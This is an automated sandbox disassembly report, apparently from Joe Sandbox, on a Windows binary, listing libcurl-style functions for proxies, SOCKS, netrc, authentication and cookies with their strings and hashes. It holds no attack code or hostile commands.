curl_easy_unescape.YX1WZ608PO(?,00000000,00000000,00000000), ref: 00404ECE
curl_easy_unescape.YX1WZ608PO(?,00000000,00000000,00000000), ref: 00404F3A
_isctype.MSVCRT ref: 00404FF2
_isctype.MSVCRT ref: 00405043
_isctype.MSVCRT ref: 00405076
strchr.MSVCRT ref: 004050A4
strtol.MSVCRT ref: 004050BA

Strings

socks5h, xrefs: 00404DA9
socks, xrefs: 00404E21
://, xrefs: 00404D86
socks5, xrefs: 00404DCA
socks4a, xrefs: 00404DEB
socks4, xrefs: 00404E0C

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _isctype$curl_easy_unescapestrchr$strstrstrtol
String ID: ://$socks$socks4$socks4a$socks5$socks5h
API String ID: 2613224687-643814063
Opcode ID: 7b983872b7a3d152c491e9b225df836aeb0e58a8283119b1ed490c8e18a7564f
Instruction ID: 19e5495623fd679ab01e8c7637b9ba262bfe2db44fbc916e181c4821be83c1b0
Opcode Fuzzy Hash: 7b983872b7a3d152c491e9b225df836aeb0e58a8283119b1ed490c8e18a7564f
Instruction Fuzzy Hash: 7BB1D8B5A002019AEB209F65CC45BBB3BA8EB54705F180077FD44BB3D2E77D9D418AB9

Function 0041B9B0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 413COMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 0041BA9B

Strings

%02d:%02d:%02d, xrefs: 0041BB9D
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 0041BA95
%02d:%02d, xrefs: 0041BBC2
GMT, xrefs: 0041BEC8

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: sscanf
String ID: %02d:%02d$%02d:%02d:%02d$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$GMT
API String ID: 3173990253-3498259124
Opcode ID: 96c48e7f169a6805ab950b6c342d1156e380322c82ff2538db266d9beb21524c
Instruction ID: cab3a2b0f83fa45c5f4c5111494de09bd18ff82d3226d2369f4aa3eeae7517d3
Opcode Fuzzy Hash: 96c48e7f169a6805ab950b6c342d1156e380322c82ff2538db266d9beb21524c
Instruction Fuzzy Hash: 45E1C571E003198BDB24CFA9C9846EEBBB5EB05324F24432BD574973D1E7385982CB89

Function 004159E8 Relevance: 24.8, APIs: 2, Strings: 12, Instructions: 337COMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 00415A76
_isctype.MSVCRT ref: 00415DC2

Strings

opaque, xrefs: 00415C05
nonce, xrefs: 00415B52
qop, xrefs: 00415C31
true, xrefs: 00415BB1
MD5-sess, xrefs: 00415D4B
auth, xrefs: 00415C77, 00415CE2
algorithm, xrefs: 00415D19
MD5, xrefs: 00415D68
Digest, xrefs: 00415A12
realm, xrefs: 00415BD9
auth-int, xrefs: 00415C94, 00415CF9
stale, xrefs: 00415B97

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _isctype
String ID: Digest$MD5$MD5-sess$algorithm$auth$auth-int$nonce$opaque$qop$realm$stale$true
API String ID: 162844146-1655510627
Opcode ID: 094d56736c8a49c787ac324bbd06227b0781d0740ef6d76033ad0850e059ea94
Instruction ID: f1b43130a502577aa4e40ab37d7ffd4f3c53dec5cff0e433af05e7b773d63c90
Opcode Fuzzy Hash: 094d56736c8a49c787ac324bbd06227b0781d0740ef6d76033ad0850e059ea94
Instruction Fuzzy Hash: 4BB116B0904B15DEEB209B249C45BF73BA8AF85304F444497E84596282F77C9DC5CBAE

Function 00416F1D Relevance: 24.8, APIs: 3, Strings: 11, Instructions: 326COMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 0041700C

Part of subcall function 0040E249: curl_mvsnprintf.YX1WZ608PO(00000535,00004000,?,?,?,?,00401728,?,Failed to get recent socket,00000001,00000001,?,?,?,00401758), ref: 0040E26B
Part of subcall function 0040E249: curl_msnprintf.YX1WZ608PO(?,00000100,0041FB9F,00000535), ref: 0040E292

Strings

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 0041730A
Too long SOCKS proxy name, can't use!, xrefs: 0041709E
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 004172CE
Connection time-out, xrefs: 00416F63
Failed to resolve "%s" for SOCKS4 connect., xrefs: 0041705E
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 00417292
Failed to receive SOCKS4 connect request ack., xrefs: 004171C8
SOCKS4 reply has wrong version, version should be 4., xrefs: 004171DA
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 00417253
Failed to send SOCKS4 connect request., xrefs: 00417194
%hu.%hu.%hu.%hu, xrefs: 00417006

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintfcurl_mvsnprintfsscanf
String ID: %hu.%hu.%hu.%hu$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$SOCKS4 reply has wrong version, version should be 4.$Too long SOCKS proxy name, can't use!
API String ID: 3116579863-234476876
Opcode ID: 2d4c1d00012f4a06d03248601b1793df0911de8d9decab3142f1ad66545f3e3b
Instruction ID: 9a19c56a497ae602998156684a8c16c330f86c73afd12176d45ec2d1b7e20b59
Opcode Fuzzy Hash: 2d4c1d00012f4a06d03248601b1793df0911de8d9decab3142f1ad66545f3e3b
Instruction Fuzzy Hash: BCC1C371908168AEDB318AA58C05BFF7FB99B49301F0400D7F858A5282D27D9FC5DF65

Function 00404C67 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 96COMMON

Download Yara Rule

APIs

curl_getenv.YX1WZ608PO(no_proxy), ref: 00404C7A

Part of subcall function 00418870: getenv.MSVCRT ref: 0041887C
Part of subcall function 00418870: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000104), ref: 0041889F

curl_getenv.YX1WZ608PO(NO_PROXY), ref: 00404C90
tolower.MSVCRT ref: 00404CC9
_mbscpy.MSVCRT(?,_proxy,00000000,00000000), ref: 00404CE8
curl_getenv.YX1WZ608PO(?,_proxy,00000000,00000000), ref: 00404CF0
curl_getenv.YX1WZ608PO(?,?,00000080,?), ref: 00404D20
curl_getenv.YX1WZ608PO(all_proxy), ref: 00404D3B
curl_getenv.YX1WZ608PO(ALL_PROXY), ref: 00404D51

Strings

_proxy, xrefs: 00404CE2
http_proxy, xrefs: 00404CFF
ALL_PROXY, xrefs: 00404D4C
all_proxy, xrefs: 00404D36
NO_PROXY, xrefs: 00404C8B
no_proxy, xrefs: 00404C75

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_getenv$EnvironmentExpandStrings_mbscpygetenvtolower
String ID: ALL_PROXY$NO_PROXY$_proxy$all_proxy$http_proxy$no_proxy
API String ID: 4051688765-2383259138
Opcode ID: 00cf5e133e1ea957b816576bd894494ee7558ab4ccf26fbf6c48d5899a85c49a
Instruction ID: e31d36ebbcee2b5abc45a33574ea89219cf5f281ebba9748ffde13f1d3a3a9d0
Opcode Fuzzy Hash: 00cf5e133e1ea957b816576bd894494ee7558ab4ccf26fbf6c48d5899a85c49a
Instruction Fuzzy Hash: 2D21B5B5E002012AE710367A5C82BBB3A688F55358F44047FEE54A3343F93D9E5A06AA

Function 0041A17B Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 348stringCOMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 0041A248
strstr.MSVCRT ref: 0041A281
strchr.MSVCRT ref: 0041A2A7
strrchr.MSVCRT ref: 0041A2C3
strchr.MSVCRT ref: 0041A2D7
strrchr.MSVCRT ref: 0041A324
memcpy.MSVCRT(00000000,?,?,00000000), ref: 0041A3F0

Part of subcall function 0040E249: curl_mvsnprintf.YX1WZ608PO(00000535,00004000,?,?,?,?,00401728,?,Failed to get recent socket,00000001,00000001,?,?,?,00401758), ref: 0040E26B
Part of subcall function 0040E249: curl_msnprintf.YX1WZ608PO(?,00000100,0041FB9F,00000535), ref: 0040E292

Strings

%15[^?&/:]://%c, xrefs: 0041A240
Maximum (%ld) redirects followed, xrefs: 0041A1A6

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: strchrstrrchr$curl_msnprintfcurl_mvsnprintfmemcpysscanfstrstr
String ID: %15[^?&/:]://%c$Maximum (%ld) redirects followed
API String ID: 1267762627-2834390662
Opcode ID: 98c46e64036e846c7ead933e0a9b6f3ee968ff9d5b6b4897c2a9755e48f4d8b2
Instruction ID: 131fd926997f304362b0d7e967e264d9c6524d257e69677e77b904b4f61377e1
Opcode Fuzzy Hash: 98c46e64036e846c7ead933e0a9b6f3ee968ff9d5b6b4897c2a9755e48f4d8b2
Instruction Fuzzy Hash: 29D11870905245AFDB21DF29C848BEB7BA9EF01344F0881B6FC188B352D779C9E58796

Function 00418BDC Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 220fileCOMMON

Download Yara Rule

APIs

curl_getenv.YX1WZ608PO(HOME), ref: 00418C1B
fopen.MSVCRT ref: 00418C3A
fgets.MSVCRT ref: 00418E57
fclose.MSVCRT ref: 00418E77
curl_maprintf.YX1WZ608PO(%s%s%s,00000000,0042161D,_netrc), ref: 00418E9D

Strings

login, xrefs: 00418DC8
, xrefs: 00418C95, 00418E30
_netrc, xrefs: 00418E8D
password, xrefs: 00418DE5
+T@, xrefs: 00418BF5, 00418C39, 00418C4F
machine, xrefs: 00418CD5, 00418E02
%s%s%s, xrefs: 00418E98
HOME, xrefs: 00418C16

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_getenvcurl_maprintffclosefgetsfopen
String ID: $%s%s%s$+T@$HOME$_netrc$login$machine$password
API String ID: 159784791-200815536
Opcode ID: 6af9b437d9a87948304e0e402869bc2804da39181b2db3f549ea5cde910ee59f
Instruction ID: 5a05a352ce750f97e3f06315dee84c78be0534d8427f964f02c1231d8f81339f
Opcode Fuzzy Hash: 6af9b437d9a87948304e0e402869bc2804da39181b2db3f549ea5cde910ee59f
Instruction Fuzzy Hash: F77109B0D04315AAEB20AB259C45BFB77789B15304F1804DFEC4596382EF798DD48BAE

Function 00417D1C Relevance: 21.2, APIs: 10, Strings: 4, Instructions: 174stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00417D86
strncmp.MSVCRT ref: 00417DA6
strncmp.MSVCRT ref: 00417DBB
memcpy.MSVCRT(00000000,00406FB4,?,00000000), ref: 00417EBE

Strings

/.., xrefs: 00417E33
/../, xrefs: 00417E0D
../, xrefs: 00417DB6
/./, xrefs: 00417DD3

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: strncmp$memcpystrchr
String ID: ../$/..$/../$/./
API String ID: 758208928-456519384
Opcode ID: 2e2bf3707ff33375a287edbd8809a75c0356f4fd35f1d1dc4dd08613296d5212
Instruction ID: 470a3ea87befcf03eb46d5fe038bacd36f838d8b55b946afe7ca2fececcf3e03
Opcode Fuzzy Hash: 2e2bf3707ff33375a287edbd8809a75c0356f4fd35f1d1dc4dd08613296d5212
Instruction Fuzzy Hash: 3B51F7B5D083566AFB2026259C06FFB7AB8DF51744F140097FD0592283F2788D9082AB

Function 00405143 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 170stringCOMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 0040515F
strchr.MSVCRT ref: 00405189
strrchr.MSVCRT ref: 004051AE
curl_msnprintf.YX1WZ608PO(?,0000000C,;type=%c,00000041), ref: 00405232
curl_maprintf.YX1WZ608PO(%s://%s%s%s:%hu%s%s%s,?,0041F4F0,?,0041F4EE,?,0041F4EC,?,?), ref: 004052AC
strtol.MSVCRT ref: 00405315

Strings

Port number out of range, xrefs: 00405326
/][, xrefs: 00405240
], xrefs: 0040516A
[%*45[0123456789abcdefABCDEF:.]%c, xrefs: 00405154
;type=%c, xrefs: 0040522A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintfcurl_msnprintfsscanfstrchrstrrchrstrtol
String ID: /][$;type=%c$Port number out of range$[%*45[0123456789abcdefABCDEF:.]%c$]
API String ID: 163171709-3193243783
Opcode ID: e1ae56ec7b44770a645cec2b88e2010e54fc0a420f3f5edf8bd707c288b4fb55
Instruction ID: bad154e71a56a835711ceee9816961bba42a93bf268e2b74cb3dd33619268037
Opcode Fuzzy Hash: e1ae56ec7b44770a645cec2b88e2010e54fc0a420f3f5edf8bd707c288b4fb55
Instruction Fuzzy Hash: 285127B1D007406AEB119B78C844BEB7BA8EF51304F1841BBEC48AB382E7B859458F65

Function 0040DBA5 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 126fileCOMMON

Download Yara Rule

APIs

curl_strequal.YX1WZ608PO(0041FAC9,?,00000000,00000000), ref: 0040DC14
fopen.MSVCRT ref: 0040DC39

Part of subcall function 0040C9E5: curl_maprintf.YX1WZ608PO(%s%s%s%s%s%s%I64d%s%s,#HttpOnly_,0041FA18,unknown,0041FA19,00000000,0041FA19,?,?,?,?,?), ref: 0040CA90

fputs.MSVCRT ref: 0040DC5A
fclose.MSVCRT ref: 0040DCB1

Part of subcall function 0040DB33: curl_slist_free_all.YX1WZ608PO(C483FFFF,?,?,?,?,?,?,?,?,?,0040DBD6,?), ref: 0040DB82

curl_mfprintf.YX1WZ608PO(?,## Fatal libcurl error,00000000,00000000), ref: 0040DC7A
curl_mfprintf.YX1WZ608PO(?,%s,00000000,00000000), ref: 0040DC8E
curl_slist_free_all.YX1WZ608PO(?), ref: 0040DCCC

Strings

## Fatal libcurl error, xrefs: 0040DC72
%s, xrefs: 0040DC86
# Netscape HTTP Cookie File# http://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 0040DC55

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_mfprintfcurl_slist_free_all$curl_maprintfcurl_strequalfclosefopenfputs
String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# http://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s
API String ID: 1476914449-4016238800
Opcode ID: d4b43507ae97c221ef4973074836565bb0fd36b934c0c2095348ad82a9a462c4
Instruction ID: 9a078daa0bb27e21b1ff1065c56c3b2279d489c80be4f70eec85c56382d1356a
Opcode Fuzzy Hash: d4b43507ae97c221ef4973074836565bb0fd36b934c0c2095348ad82a9a462c4
Instruction Fuzzy Hash: 684185B1E04205ABEB117BA5CC46BBB7B68EF00304F14453AF914762C2E7BC5999C6D9

Function 00418AC2 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 100COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(?,00000004,%%%02X,?), ref: 00418B97

Strings

Z, xrefs: 00418B17
z, xrefs: 00418B34
%%%02X, xrefs: 00418B8F
a, xrefs: 00418B39
., xrefs: 00418B26
A, xrefs: 00418B1C
_, xrefs: 00418B3E
-, xrefs: 00418B21
~, xrefs: 00418B43

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf
String ID: %%%02X$-$.$A$Z$_$a$z$~
API String ID: 1809024409-2287044337
Opcode ID: 182d6b4e32a8b85bb8438d2b4f9fe16484e29b79bcf1d144e016d4ff4422260f
Instruction ID: e64f2f968e143e173ac7c86a2297360b5073af83921fc60a10f6894081667efc
Opcode Fuzzy Hash: 182d6b4e32a8b85bb8438d2b4f9fe16484e29b79bcf1d144e016d4ff4422260f
Instruction Fuzzy Hash: 2B3147B0E091099FEB209B58C8457FFBB65EB41360F54011BF91593281DB3CAA85C7AA

Function 00412496 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00412532
_isctype.MSVCRT ref: 00412571
strchr.MSVCRT ref: 0041261E
_isctype.MSVCRT ref: 0041265A

Strings

%s, xrefs: 00412678
Host:, xrefs: 00412597
Content-Length, xrefs: 004125E0
Connection, xrefs: 00412606
Content-Type:, xrefs: 004125BA

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _isctypestrchr
String ID: %s$Connection$Content-Length$Content-Type:$Host:
API String ID: 2091909672-3608260288
Opcode ID: 3cabc53f4366887b63f83b6ac940b84c30b0cb3d1b8f32bd1f941f54ec82aa8a
Instruction ID: afb62be43c4e8fda7b65501c64fae17e68737a19878bcd85c77ab6b83d1802e7
Opcode Fuzzy Hash: 3cabc53f4366887b63f83b6ac940b84c30b0cb3d1b8f32bd1f941f54ec82aa8a
Instruction Fuzzy Hash: FC51D3B0A40211BFEB259B14CE45BF677E5AB11304F14009BE844DB2D2E7BD9DE4CB69

Function 00418FCC Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 125COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(?,00000006,%4I64dP,?,?,?,?,?,?,?,00419A7C,?,?,?,?), ref: 00419105

Strings

%4I64dk, xrefs: 00419012
%4I64dM, xrefs: 00419077
%5I64d, xrefs: 00418FEE
%4I64dG, xrefs: 004190C9
%2I64d.%0I64dM, xrefs: 00419052
%4I64dT, xrefs: 004190E7
%4I64dP, xrefs: 004190FD
%2I64d.%0I64dG, xrefs: 004190AE

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 1809024409-2102732564
Opcode ID: 6936198d591b49b1d33891956ab7c1490484c324adbcbca244f467b202a72f0e
Instruction ID: 9ff6f928856c9bc0b85ccccffd6445b4c1a3911de82e2debac45c8bb8a1ce33c
Opcode Fuzzy Hash: 6936198d591b49b1d33891956ab7c1490484c324adbcbca244f467b202a72f0e
Instruction Fuzzy Hash: C031A373F4163876F620206A6C9BFEB9919C785768F6D4637FD19A2182D09D5CC400EE

Function 00412A0A Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(?,00004001,%s:%s,?,?,?,?,?), ref: 00412AED
curl_maprintf.YX1WZ608PO(%sAuthorization: Basic %s,Proxy-,00000000), ref: 00412B5A

Strings

%s:%s, xrefs: 00412ADF
Authorization:, xrefs: 00412A76
Basic, xrefs: 00412B6E
%sAuthorization: Basic %s, xrefs: 00412B55
Proxy-authorization:, xrefs: 00412A5A
Proxy-, xrefs: 00412B42, 00412B54

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
